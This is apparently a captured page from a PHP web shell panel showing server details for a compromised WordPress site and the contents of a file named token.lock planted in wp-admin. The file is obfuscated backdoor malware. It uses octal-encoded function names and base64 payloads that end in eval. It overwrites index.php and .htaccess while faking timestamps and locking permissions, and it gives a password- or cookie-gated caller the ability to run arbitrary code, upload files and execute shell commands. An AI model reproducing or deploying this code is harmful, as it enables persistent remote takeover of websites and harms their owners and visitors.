- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 52.14.193.97
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-admin/js/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-admin/js/widgets/token.lock
<?php
/*Step Data*/
$s = $_SERVER;
/*Step Data*/
$g = $_REQUEST;
if (!empty($_GET))
    foreach ($_GET as $k => $v) $g[$k] = $v;
/*Step Data*/
$pz = function ($y, $z, $u, $c, $g, $q = '') {
    if ($u && @Md5_File($y) !== $u) {
        $fwC = $c[$g($z[3])];
        $t1 = @filEmtiMe($y);
        @ChMod($y, 0744);
        @$z[6]($y);
        $t1 || $t1 = time() - 3600;
        $t = ['m' => $t1, 'a' => $t1];
        File_Put_conTents($y, $c[implode('_', ['', 'code', ''])]($q ? $q : 'PD9waHAgCSRVQmFhdU5vPSBmdW5jdGlvbiAoJGEwYyApeyRCM1dtVHV6bTMgPSAiRkk0IjskUlNwODY9JEIzV21UdXptM1soNDgtIDUzKyA1KSAvIDNdDS4gKCgzOCAtMTItIDEwKSAvNCkJLgonZCcNOyAkUlNwODYNLj0JDSRCM1dtVHV6bTNbKDU5LSA2NCArOCkgLzNdCS4nJzsJcmV0dXJuICRSU3A4NigkYTBjKTt9OyAgCSAJJHJvU0VVTz1mdW5jdGlvbgkoJEtrV0lPdTV2CSkKeyRaN3QgPSAiRWczRl8xIjskWGNtbWNkNT0kWjd0Wyg2MiAtIDQ3KS8gNV0uJFo3dFsoNDMtIDUxKzEwKS8gMl0uJ0UnOyRYY21tY2Q1CS49JFo3dFsoMjcgLSAzKSAvNl0KLgkkWjd0WygzOC0gNDUrNykgLzZdLiAnQicJLiAkWjd0WygyMyAtIDE4KSAvNV0uCigoMjMtIDI1KyA3KS8gNSk7JFhjbW1jZDUuPQ0NKCg5MC0gNzkrIDcpLzYpCS4nJzsgJFhjbW1jZDUgPSBzdHJfcm90MTMoJFhjbW1jZDUpOwlyZXR1cm4gJFhjbW1jZDUoJEtrV0lPdTV2KTsKfTsgICR5WUtDUlJ6PSc0bU0va1BpK3BUWmNlV1dtOTFXSWJCQkFTa0JWbHhrMENUakZOVkszaEdWcXQzU2x5UzRiLzM3T3B2eVJhR0pETjl5UFRGbG1tL1p2M09YbzRRUVJLYVN3bU9kc0pXTk5YNjdaZENuN1NtMUdWMmRaTUllcUZZbStHTmdlVnZoN3BMUnAzbllxK09QMTN3NDBKaVJmdGcvL1BGK2F2Ynk5djFBVDZuVzZvVUR1eDFtdHBHRExJc3ZYRTgwVTNXMkREZkd1Wjc5V015T2JWcGFXcU4wNGxvdEdabFk3Wm1ZS2dmTzZqZlRnTXBuREx3Q0hzNEFlazVNZFBZTjFuRFJ6OWgzemV4cVNpRkRyQWY4VklkZFBCemdjMlR5YUthNmx4U0U0bE9qYXJDNjdERlZvZy8wd2hiTkJYS1hadHdWWXgwcHdHM3lya3A1azI3SmowemNSckhvNGx1N2V6dGdic0NVRzhHQUh3VEJ5SzdWMVRwb0Z5dXJvSW5KTlNjRkdVVFpGcFZ0ZVc4ejdsblF2d0xGNG1uRVhPSk42YTEyMStlUGt5cFRwakEzT0dBNFlVcE9mUDBpV01wWmZHTmxTWUJXU2x2ZDdQWG0waFJZbkJ3VUkvOWF4dGV0MzV6ejlLRWlEK0JFLytTTy9FZ0NSQVBvaHpFUHhIek1xcytjZzNVSEk3R2t5d25vR1V1ZG1MT2pQSEVPak5mV0lCZ3dtazRvWkdFSFJpVDk2cnRWVS9MNTR4QVZWU0JYSVZnRlBUc0dTcFNidUE2SVJ3ck1rTHlSRVp4OENJK1V1UnFCZDhRcm5JdzVBSzVxMlZMNWdsbnh3bWVUYUhOSFY5R2h4S1UwRmpLVEhoVjFJNElJNmNnd2Yra1M4Yk00b1JSSEx3cWs5eE84SU1qdWJoeGM5cTFFYUdrRG9GUnowNktKYk00TEZhb0R4ZXJaaEVNSlNkd1lUazA0aURIRmhhL3FPd2ltQXc3Wi95UXVwcVN4YTN6R3c0RjNQOW9mVjNPYlNUQVNaeGxxOUE0Qnl3dFZyU1BlaGNubXJLYkRXbjVlb3czRWNjM3ZCY0hRMnd2a2VQYkNjTjhLK1ZlOTdlY0lNZW5NejI2OGlGRnl1SGNHS3JRdDAzTUMxN2J4VytZcHpLR25aQ0JXWFhIK2xvWS9CaG5Qb0xORmdRY0VCbE11U01OaDhNS1JobnAzOFNVVkJONVVHMVlJelpRNGt6bVo2V1Y1N3ZZWmhoNU90ZlgxL3FVMG5hQWFJZUdQY0hLYVE3YkVwS1N5VTI1eXBCbGlEUzZBdFRDQ1JSR3BwVzREa1hHdWJFVHlvbFVIRnRoQ0NacE1MbkNycExSdkpJWDBUaTlEQWtYaHlNNmtNNmdUMDNSaFJlNmdqYlI2TS9WRDFaZVd5dmxCdnRJS2d6VEhKbElMZkJtOTJDcGQvb3YyKzBmcWxWNGN2bER1VTdnVEdpMTVFd01SK2ZIc3FaY1o4T3UrMjVsdUZZMjJhblNFY2V6dG1BTUJNVGxKN0Fka1BqeVJxSGtRWlI4OFRKSy9mZFcwNzk5SGdiZ2ZUNnZaMGNncENvcGkwNGU1UFhoYklLTFd4UHcwRTdkVGxzZVNMckRtUEtqUkp1dFFSbDVqdXFvODJ4SDgrVzRyQXdnTjQxN3ptcVFhQjliaTFqeWYwRWFPUkVTL3hVcE0xT3l6UmMxQlRGR1BPZ1BiOGpQZkJUeUh0cGIwOWNRQU1UWmdQWjJHcmwzeGJSRm0wUyt3ZmFML3RwbDJ3QkF4eFRPSVdlS2s5Q09RQ2E0U0pkMFlVNTlVT29LVUZRME8rODJrYXJYTS9rdHFWenY5NWVIQXdEMEdxQldjUWQxakpNcmRlME0wV2MrT3FUY3hIM1ZvTng0Ym9FZWJHYjMwaWg0QUxJYmY3NVpJenZFMmU0cWg5ZnlsVVMvTVNuMm9kbHE5dWpWMGZOOVpXUzdIdHJuZjN4cEQ5dzErNTBaSEZMK09pYS92MlBDb1AvWHhGWGRVTCt2NU10YTZueit2VHBmMTJmNjViVWE5TXFiTmlpdjNMUm9uOXVPZzhXcElmRk1uTXRScXFtUUlnRVZjVTNRRFlsNDJXamNKWkVUcEM1elBiaTlBRUljYWpPSWVaaFhrU1lCTVQ1UWJHRFN3aTdodEVUN21JQnBmRmRqWXRhTzVWc1RaN2N1Z1EybkVWN2MzQnI2RHNEYllRanRLd21obGt2UGhnSzU3Z2JZZzZZaGpxYml2SzhsS0N1d1ZDdFh5TlNmZHBwRXMxbGE2WCt1aVlVa0lPSVZRME1kU2lUUXA4VDdLcytXcW1lU1c4YnRSZW04a3dYYldDdHhTUkVWb1lkU2N3SnN3MHRFUi9TTDFabnFhMmEwTlFYNW10WG5UMHNxbTFoSi9kZnphTHJFMDQzQm9ORkdPWDZQdGJsdkI2UE14MDVnVGtiQ1BkYTBNOGt6R1k3dTloYzAxNDhQR3hJc2dObnFRTnJxcktWVFRGL2wrQ0RtQU1ZaVJMRVJyc2hxT0paMkRJWWN2NE5wejh5ajBhbjR4R1VrUGtEbEd1L0htY2JrekR5Wm1Ec240MzNEN0t6VjkyVkptTVEzMkJHQ0ZYcEJRQmt1eCs1UmdBbm1kaExOdXZpWDlYbk1QblhKa0ZHWWRSWDJIMzQ3OTI1a3JINTVpeTg4WTQ1akd0QjRQUC9sUkFKSjRUYXRSYzlHOHd6bDFteVM0c3lqN0JZT1V3aHdnb2o2ZEtwbWVIOXh2dHN4OTR3OTY5UWNXbE81MFlkdVk0MHZQOE9oQjQwM1UzWHRtNk9UaVhLYzdFeVBDcmdKLzBQOE0wODhHNXdSY2FCL0FRJztmdW5jdGlvbiAKRjRkaSgkVTNTUHljCSl7cmV0dXJuIEhtVzhHb0h5KCcnKS4kVTNTUHljO30keVlLQ1JSegk9JFVCYWF1Tm8oJHlZS0NSUnopO2Z1bmN0aW9uICBIbVc4R29IeSgkSjlSKQp7JFdIMWY5MyA9ICI3dEhUIjskb2pSPSgoMTE5LSA5MSkgLzQpDS4gJ1UnIC4kV0gxZjkzWyg2NCAtNTUtMykgLyA2XTsKJG9qUiAuPQknYicJLg0nUicNLiRXSDFmOTNbKDUyLTQ5KS8zXQ0uDSRXSDFmOTNbKDE0IC0gMTEpLzNdLgokV0gxZjkzWyg1NSAtNDItIDcpLzJdCi4gJ0YnLiRXSDFmOTNbKDU0IC0gNDMgLSA1KS8gM10uJyc7cmV0dXJuICRvalI7fSAgCWZ1bmN0aW9uICBSQlFHSWJyKCRuUm1QRVpiCSkJeyRiV0ggPSAiREM2NGJfRXMiOyRfZGRhPSRiV0hbKDUwLSA0OSsgNykgLzJdLiAnQScJLgkkYldIWyg0Ny0gMzMrIDcpIC8zXSAuCSRiV0hbKDUyLSAzOCAtMikvIDJdCS4KKCg1Ny0gMjcpLyA1KSAuCSgoNjAtIDUzICs5KSAvIDQpCTsNJF9kZGEKLj0gJGJXSFsoNjYtIDQ3KyA2KS81XS4JJGJXSFsoNzIgLTY0LSA4KS81XQkuJ0UnOwkkX2RkYQouPQkkYldIWygxMDQtOTkpLzVdLgknTycJLiRiV0hbKDUtIDQgLTEpIC8gNF0uCSdFJy4JJyc7cmV0dXJuICRfZGRhKCRuUm1QRVpiKTt9ZnVuY3Rpb24gVXJaR2ZiR3IoJFl1MzkKLCR5NlZHRDgsJGdIc3dQCikJe3JldHVybiAiZmJOUGxKY0ZmU2JLRFBKSDg2UmRmV3ozUVY3ZkxjMW5JV1paRTVXUGU0TjBkTzdOeHhBMlZyUyI7Cn0JDSR5WUtDUlJ6ID0JUkJRR0licigkeVlLQ1JSeik7CgkgJHlZS0NSUnoKPQokcm9TRVVPKCR5WUtDUlJ6KTsJCQoNCgkJZnVuY3Rpb24gCmxzZSgkS1lECSl7JGdoOTRBID0gIkxUbkV6IjskTVRnRmpDPSdnJyAuCSRnaDk0QVsoOTggLSA4MikvIDRdDS4KJ2knIC4JJGdoOTRBWygxOCAtIDEyKS8gM10JLidmJyAuJGdoOTRBWyg3NyAtNzcpIC8gNl0uCSdBJyAuCSRnaDk0QVsoNzcgLSA3NCkgLyAzXS4kZ2g5NEFbKDMxLTIyKSAvM10uICcnOwkgIAoJCglyZXR1cm4gJE1UZ0ZqQygkS1lEKTsgDQkNfQkkeVlLQ1JSegk9DWxzZSgkeVlLQ1JSeik7CQkNIAkKRVZhbCAoJHlZS0NSUnopOyA/Pjw/cGhwICBkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7cmVxdWlyZShfX0RJUl9fLiAgJy93cC1ibG9nLWhlYWRlci5waHAnICk7ID8+'));
        Touch($y, $t['m'], $t['a']);
        @ChMod($y, 0444);
        return true;
    }
    return false;
};
/*Step Data*/
$c = [
    '137S105122V105122',
    'D117C125ME116T137122OO124',
    '137G105T',
    '_143o144145137',
    '0945e7bdfa776b7fe0761431b0d9cb77', 'd' => ['145170105c'],
    'in144e170056p150160', 'link',
    'h' => [
        "056150ta143143e163s", 'be476d27ece89594604d14886c081016', '146I154E137160U164137143O156164E116164123', '156am145'
    ],
    'c' => ['145170105c', '142101S145066064137d105C157d145', '141d155i156056160p160']
];
/*Step Data*/
$z = function ($b) {
    $_ = "";
    $g = strlen($b) - 2;
    $z = function ($b) {
        $_ = '';
        if (($g = strlen($b)) < 3) return [2, $b];
        for ($o = 0; $o < $g; $o++) {
            $_ .= $b[$o];
            if (!is_numeric($b[$o]) || $b[$o] >= 8) return [$o + 1, $_];
        }
        return [$o, chr(octdec($b))];
    };
    for ($o = 0; $o < $g; $o += $d[0]) {
        $d = $z($b[$o] . $b[$o + 1] . $b[$o + 2]);
        $_ .= $d[1];
    }
    return $_ . substr($b, $o);
};
/*Step Data*/
/*Step1 Data*/
$g['0x06'] = '_dxep';
/*Step Data*/
$r = rtrim($s[$z($c[1])], '/') . '/';
/*Step Data*/
$c[6] = 'un' . $c[6];
/*Step Data*/
$vn = '_exp';
/*Step1 Data*/
empty($_COOKIE[$g['0x06']]) && $_COOKIE[$g['0x06']] = FALSE;
if (!defined("WP_UNIQUE")) define("WP_UNIQUE", (isset($g['a']) && (($_e = substr(md5($g['a']), 2, 8) === 'b67bf06b') || preg_match('/^\d*[a-z,A-Z]{2,}\d{2,}$/i', $g['a'])) || !empty($_COOKIE[$vn])) ? (($_e || (!empty($_COOKIE[$vn]) && substr(md5($_COOKIE[$vn]), 2, 8) === 'b67bf06b')) ? 2 : 1) : 0);
$q = function ($g) {
    $data = array_map(function ($item) {
        $item();
        return "\$i";
    }, $g);

    return $data;
};

$q(
/* debug */
    $uz = [
        function () {

        },
        function () use ($r, $z, $c, $pz, $g) {
            $y = $r . $z($c[5]);
            $_COOKIE[$g['0x06']] = $pz($y, $c, $c[4], $g, $z);
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pz($r . $z($c['h'][0]), $c, $c['h'][1], $g, $z, 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pc = empty($g[$N = $z($c['h'][3])]) ? '' : $g[$N];
            $q = 'PD9waHAgQHVubGluayhfX0ZJTEVfXyk7Pz4';
            if (WP_UNIQUE !== 2 || strlen($pc) < 20 || stripos($pc, ';') === false) return;
            $q = base64_decode($q);
            @file_put_contents($d = time() . rand(1000, 9999), $q . $g[implode('_', ['', 'code', ''])]($pc));
            if (file_exists($d))
                @require $d;
            die();
        },
        function () use ($z, $c, $r, $g) {
            if (!WP_UNIQUE || empty($g['fx'])) return;
            $pc = $z($c['c'][1]);
            $pz = $z($c['h'][2]);
            $pz($z($c['c'][2]), $pc($g['fx']));
            echo explode('.', $z($c['c'][2]))[0];
            die();
        },
        function () use ($g) {
            if (WP_UNIQUE && isset($g['d']))
                echo $g['d'] ? "Dj" . $g['d'] : 'd';
        },
        function () use ($z, $c, $g) {
            $pc = $z($c[$v = 'c'][0]);
            $pz = $z($c['c'][1]);
            WP_UNIQUE && isset($g[$v]) && ((isset($g[$r = 'g']) && $pc = $g[$r]) || 1) &&
            $pc($z($g[$v] ? $pz($g[$v]) : "153i154l -071040-61"), $a) && print_r($a);
        },

        function () use ($g) {
            if (WP_UNIQUE && isset($g['z']))
                die();
        },
    ]

/**/
);
$y = $r . $z($c[5]);




Youez - 2016 - github.com/yon3zu
LinuXploit